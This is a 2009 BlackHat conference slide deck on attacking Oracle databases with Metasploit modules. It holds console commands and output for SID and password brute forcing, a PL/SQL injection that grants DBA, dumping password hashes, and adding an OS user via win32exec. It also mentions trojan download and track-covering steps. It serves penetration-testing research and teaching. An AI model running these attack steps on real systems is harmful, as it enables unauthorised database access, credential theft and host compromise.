Attacking Oracle with the Metasploit Framework

BlackHat USA 2009

Who Am I?

- Chris Gates
  - <cg [@] metasploit.com>
- What pays the bills
  - Pentester/Security Consultant
- Security Blogger
  - http://carnalOwnage.attackresearch.com
- Security Twit
  - CarnalOwnage
- Want more?
  - Chris Gates + carnalOwnage + maltego ☺

METASPLOIT

DISCLAIMER

METASPLOIT

Why Oracle?

- Why the focus on Oracle?
  - Been on lots of pentests & seen lots of potential targets.
  - The Oracle business model allows for free downloads of products, but you pay for updates. The result is tons of potential shells.
  - Privilege Escalation and data theft is pretty easy, but shells are always better.

Why Oracle?

- Why the focus on Oracle?
  - Some support is provided by the commercial attack frameworks, but really don't have much coverage for non-memory corruption vulns.
  - Other tools that target Oracle.
    - Inguma
    - Orasploit (not public)
    - Pangolin (if you want to give your hard earned shell back to .cn)
    - A few free commercial products focused on vulnerability assessment rather than exploitation.

Current Metasploit Support

- Some support for Oracle is already provided.
  - Exploit modules.
    - Handful of memory corruption modules that target earlier versions of Oracle and some of if its other applications.
  - Auxiliary modules.
    - Handful of modules that assist in discovering the SID, Identifying the version, sql injection, post exploitation, and a ntlm stealer.

METASPLOIT

New Metasploit Support

- Introduction of a TNS Mixin.
  - Handles a basic TNS packet structure.
    - "(CONNECT_DATA=(COMMAND=#{command}))"
    - Used for some of our auxiliary modules.
    - Used for our TNS exploits.
- Introduction of a ORACLE Mixin.
  - Handles our direct database access.
  - Dependencies:
    - Oracle Instant Client.
    - ruby-dbi.
    - ruby-oci8.

METASPLOIT

New Metasploit Support (cont.)

- Introduction of a ORACLE Mixin.
  - Really makes things simple.

```
msf auxiliary(sql) > set SQL "select * from global_name"
SQL => select * from global_name
msf auxiliary(sql) > run

[*] Sending SQL...
[*] ORCL.REGRESS.RDBMS.DEV.US.ORACLE.COM
[*] Done...
[*] Auxiliary module execution completed
msf auxiliary(sql) >
```

METASPLOIT

Oracle Attack Methodology

- We need 4 things to connect to an Oracle DB.
  - IP.
  - Port.
  - Service Identifier (SID).
  - Username/Password.

METASPLOIT

Oracle Attack Methodology

- Locate Oracle Systems.
- Determine Oracle Version.
- Determine Oracle SID.
- Guess/Bruteforce USER/PASS.
- Privilege Escalation via SQL Injection.
- Manipulate Data/Post Exploitation.
- Cover Tracks.

METASPLOIT

Oracle Attack Methodology

- Locate a system running Oracle.
- Determine Oracle Version.
- Determine Oracle SID.
- Guess/Bruteforce USER/PASS.
- Privilege Escalation via PL/SQL Injection.
- Manipulate Data/Post Exploitation.
- Cover Tracks.

METASPLOIT

Oracle Attack Methodology

- **Determine Oracle Version.**
  - **tns_packet("(CONNECT_DATA=(COMMAND=VERSION))")**

```
msf auxiliary(tnslsnr_version) > set RHOSTS 172.10.1.107-172.10.1.110
RHOSTS => 172.10.1.107-172.10.1.110
msf auxiliary(tnslsnr_version) > run
[*] Host 172.10.1.107 is running: Solaris: Version 9.2.0.1.0 – Production
[*] Host 172.10.1.108 is running: Linux: Version 11.1.0.6.0 - Production
[*] Host 172.10.1.109 is running: 32-bit Windows: Version 10.2.0.1.0 - Production
[*] Auxiliary module execution completed
msf auxiliary(tnslsnr_version) > db_notes
[*] Time: Fri May 29 16:09:41 -0500 2009 Note: host=172.10.1.107 type=VERSION Solaris:
Version 9.2.0.1.0 – Production
…
[*] Time: Fri May 29 16:09:44 -0500 2009 Note: host=172.10.1.109 type=VERSION data=32-
bit Windows: Version 10.2.0.1.0 - Production
msf auxiliary(tnslsnr_version) >
```

METASPLOIT

Oracle Attack Methodology

- Locate a system running Oracle.
- Determine Oracle Version.
- Determine Oracle SID.
- Guess/Bruteforce USER/PASS.
- Privilege Escalation via SQL Injection.
- Manipulate Data/Post Exploitation.
- Cover Tracks.

METASPLOIT

Oracle Attack Methodology

- Determine Oracle Service Identifier (SID).
  - tns_packet("(CONNECT_DATA=(COMMAND=STATUS))")
  - By querying the TNS Listener directly, brute force for default SID's or query other components that may contain it.

```
msf auxiliary(sid_enum) > run
[*] Identified SID for 172.10.1.107: PLSExtProc
[*] Identified SID for 172.10.1.107 : acms
[*] Identified SERVICE_NAME for 172.10.1.107 : PLSExtProc
[*] Identified SERVICE_NAME for 172.10.1.107 : acms
[*] Auxiliary module execution completed
msf auxiliary(sid_enum) > run
[-] TNS listener protected for 172.10.1.109...
[*] Auxiliary module execution completed
```

METASPLOIT

Oracle Attack Methodology

- **Determine Oracle SID.**
  - **By quering the TNS Listener directly, brute force for default SID's or query other components that may contain it.**

```
msf auxiliary(sid_brute) > run

[*] Starting brute force on 172.10.1.109, using sids
from /home/cg/evil/msf3/dev/data/exploits/sid.txt...
[*] Found SID 'ORCL' for host 172.10.1.109.

[*] Auxiliary module execution completed
```

METASPLOIT

Oracle Attack Methodology

- **Determine Oracle SID.**
  - **By quering the TNS Listener directly, brute force for default SID's or query other components that may contain it.**

```
msf auxiliary(sid_enum) > run
[-] TNS listener protected for 172.10.1.108...
[*] Auxiliary module execution completed
msf auxiliary(sid_enum) > use auxiliary/scanner/oracle/spy_sid
msf auxiliary(spy_sid) > run
[*] Discovered SID: ‘orcl' for host 172.10.1.108
[*] Auxiliary module execution completed
msf auxiliary(spy_sid) >
```

METASPLOIT

Oracle Attack Methodology

- Locate a system running Oracle.
- Determine Oracle Version.
- Determine Oracle SID.
- Guess/Bruteforce USER/PASS.
- Privilege Escalation via SQL Injection.
- Manipulate Data/Post Exploitation.
- Cover Tracks.

METASPLOIT

Oracle Attack Methodology

- **Determine Oracle Username/Password.**
  - **Brute Force For Known Default Accounts.**

```
msf auxiliary(login_brute) > set SID ORCL
SID => ORCL
msf auxiliary(login_brute) > run
.
[-] ORA-01017: invalid username/password; logon denied
[-] ORA-01017: invalid username/password; logon denied
[*] Auxiliary module execution completed
msf auxiliary(login_brute) > db_notes
[*] Time: Sat May 30 08:44:09 -0500 2009 Note: host=172.10.1.109
type=BRUTEFORCED_ACCOUNT data=SCOTT/TIGER
```

METASPLOIT

Oracle Attack Methodology

- Locate a system running Oracle.
- Determine Oracle Version.
- Determine Oracle SID.
- Guess/Bruteforce USER/PASS.
- Privilege Escalation via SQL Injection.
- Manipulate Data/Post Exploitation.
- Cover Tracks.

METASPLOIT

Privilege Escalation

➢ The set-up.

msf auxiliary(lt_findricset) > **set RHOST 172.10.1.109**

RHOST => 172.10.1.109

msf auxiliary(lt_findricset) > **set RPORT 1521**

RPORT => 1521

msf auxiliary(lt_findricset) > **set DBUSER SCOTT**

DBUSER => SCOTT

msf auxiliary(lt_findricset) > **set DBPASS TIGER**

DBPASS => TIGER

msf auxiliary(lt_findricset) > **set SID ORCL**

SID => ORACLE

msf auxiliary(lt_findricset) > **set SQL GRANT DBA TO SCOTT**

SQL => GRANT DBA TO SCOTT

METASPLOIT

Privilege Escalation

➢ Attacking SYS.LT.FINDRICSET.

```
msf auxiliary(lt_findricset) > set SQL "grant dba to scott"
SQL => grant dba to scott
msf auxiliary(lt_findricset) > run

[*] Sending first function...
[*] Done...
[*] Attempting sql injection on SYS.LT.FINDRICSET...
[*] Done...
[*] Removing function 'NBVFICZ'...
[*] Done...
[*] Auxiliary module execution completed
msf auxiliary(lt_findricset) >
```

METASPLOIT

Privilege Escalation

- **Success?**
  - **Before Injection.**

SQL => select * from user_role_privs

msf auxiliary(sql) > run

[*] Sending SQL...

[*] SCOTT,CONNECT,NO,YES,NO

[*] SCOTT,RESOURCE,NO,YES,NO

  - **After Injection.**

msf auxiliary(sql) > run

[*] Sending SQL...

[*] SCOTT,CONNECT,NO,YES,NO

[*] SCOTT,DBA,NO,YES,NO

[*] SCOTT,RESOURCE,NO,YES,NO

METASPLOIT

Privilege Escalation Exploits

- Initial Coverage.
  - lt_findricset.rb
  - lt_findricset_cursor.rb
  - dbms_metadata_open.rb
  - dbms_cdc_ipublish.rb
  - dbms_cdc_publish.rb
  - lt_compressworkspace.rb
  - lt_mergeworkspace.rb
  - lt_removeworkspace.rb
  - lt_rollbackworkspace.rb

METASPLOIT

Oracle Attack Methodology

- Locate a system running Oracle.
- Determine Oracle Version.
- Determine Oracle SID.
- Guess/Bruteforce USER/PASS.
- Privilege Escalation via SQL Injection.
- Manipulate Data/Post Exploitation.
- Cover Tracks.

METASPLOIT

Post Exploitation

- If all I want is the Data after SQLI to DBA we are probably done.
  - sql.rb to run SQL commands.

```
msf auxiliary(sql) > set SQL "select username,password,account_status from
    dba_users”
SQL => select username,password,account_status from dba_users
msf auxiliary(sql) > run
[*] Sending SQL...
[*] SYS,7087B7E95718C0CC,OPEN
[*] SYSTEM,66DC0F914CDD83F3,OPEN
[*] DBSNMP,E066D214D5421CCC,OPEN
[*] SCOTT,F894844C34402B67,OPEN
[*] Done...
[*] Auxiliary module execution completed
msf auxiliary(sql) >
```

METASPLOIT

Post Exploitation

- Data is nice, but shells are better ☺
  - Several published methods for running OS commands via oracle libraries.
    - Via Java.
    - Extproc backdoors.
    - Dbms_Scheduler.
    - Run custom pl/sql or java

METASPLOIT

Post Exploitation

- Win32Exec
  - Grant user JAVASYSPRIVS using sql.rb.
  - Run win32exec.rb to run system commands.
  - Examples
    - Net User Add
    - TFTP get trojan.exe → execute trojan.exe
    - FTP Batch Scripts
    - Net User Add → metasploit psexec exploit

METASPLOIT

Post Exploitation

➢Win32Exec

msf auxiliary(win32exec) > **set CMD "net user dba P@ssW0rd1234 /add“**
CMD => net user dba P@ssW0rd1234 /add
msf auxiliary(win32exec) > run
[*] Creating MSF JAVA class...
[*] Done...
[*] Creating MSF procedure...
[*] Done...
[*] Sending command: 'net user dba P@ssW0rd1234 /add‘
[*] Done...
[*] Auxiliary module execution completed

METASPLOIT

THANKS!

Questions?

DEMO!

If I didn't run out of time...

Otherwise

http://vimeo.com/channels/carnalOwnage

THANKS!

HDM, Richard Evans, JMG, !LSO, Sh2kerr, Rory McCune